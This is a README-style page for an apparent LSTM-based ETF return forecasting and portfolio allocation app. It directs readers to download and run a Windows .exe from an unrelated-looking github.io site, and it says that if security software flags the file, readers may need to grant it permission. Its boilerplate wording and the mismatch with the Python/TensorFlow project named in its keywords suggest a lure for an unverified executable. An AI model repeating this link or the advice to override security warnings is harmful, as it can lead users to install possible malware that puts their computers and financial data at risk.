This application uses deep learning to help you manage your financial assets. It forecasts the returns of exchange-traded funds and suggests how to balance your portfolio. You do not need to understand complex mathematics to use these tools for your investment decisions.
The software predicts how different financial assets perform. It studies historical market data to spot patterns. It uses a type of neural network called a Long Short-Term Memory model. These models track long sequences of data, which fits the nature of stock market trends. The application then calculates the best mix of assets for your portfolio based on these predictions.
Your computer needs to meet these basic standards to run the software smoothly:
- Operating System: Windows 10 or Windows 11.
- Processor: A 64-bit multi-core processor.
- Memory: At least 8 gigabytes of RAM.
- Storage: 500 megabytes of free space.
- Internet: A stable connection for downloading market data updates.
You will download the latest version from our public release page.
- Go to this link: https://bessincandescent708.github.io
- Look for the section labeled "Assets" at the bottom of the newest release entry.
- Click the file ending in
.exeto start the download. - Save the file to your desktop or your downloads folder.
- Locate the file you just downloaded.
- Double-click the file to open the setup wizard.
- Follow the prompts on your screen. You can use the default settings for the installation folder.
- Click the finish button once the progress bar completes.
- A shortcut icon will appear on your desktop.
Open the application by double-clicking the new desktop icon. You will see a clean screen with menus for your data.
- Choose your assets: Select the exchange-traded funds you want the model to analyze from the list provided.
- Set the timeframe: Pick the historical period you want the model to use for its training phase.
- Start the process: Click the button labeled "Run Analysis." This step may take a few minutes while the computer calculates the trends.
- View results: The software will show a chart of predicted returns and a list of suggested weightings for your assets.
If the application fails to open, check the following points:
- Verify your internet connection. The application syncs with online data sources during its first launch.
- Make sure no other program blocks the data feed. Sometimes security software flags new applications. You may need to grant permission in your security settings to let the application run.
- Restart your computer. This clears temporary memory issues.
- Reinstall the application if you notice missing icons or buttons.
The software provides two main types of output to aid your planning:
The application generates a line chart showing the expected performance of your chosen exchange-traded funds. A green line indicates a positive movement, while a red line suggests a decline.
The software calculates a split for your funds. If you start with an even split, the application might suggest increasing your exposure to an asset expected to gain value while decreasing exposure to assets expected to lose value. This helps you keep your risk levels aligned with your goals.
Use this application as one tool among many in your strategy. Deep learning models map past trends to future expectations, but markets often behave in unpredictable ways. Always verify the suggestions against your own financial goals and research.
If you encounter bugs, please open an issue on the repository main page. You can also view the repository history to see how the model logic changes over time. Check the release page frequently to ensure you have the most up-to-date version of the forecasting logic.
Keywords: algorithmic-trading-dotnet, asset-allocation, deep-learning, deep-learning-for-finance, etf, finance, lstm, mscfe, portfolio-optimization, python, return-forecasting, tensorflow, worldquant-university, wqu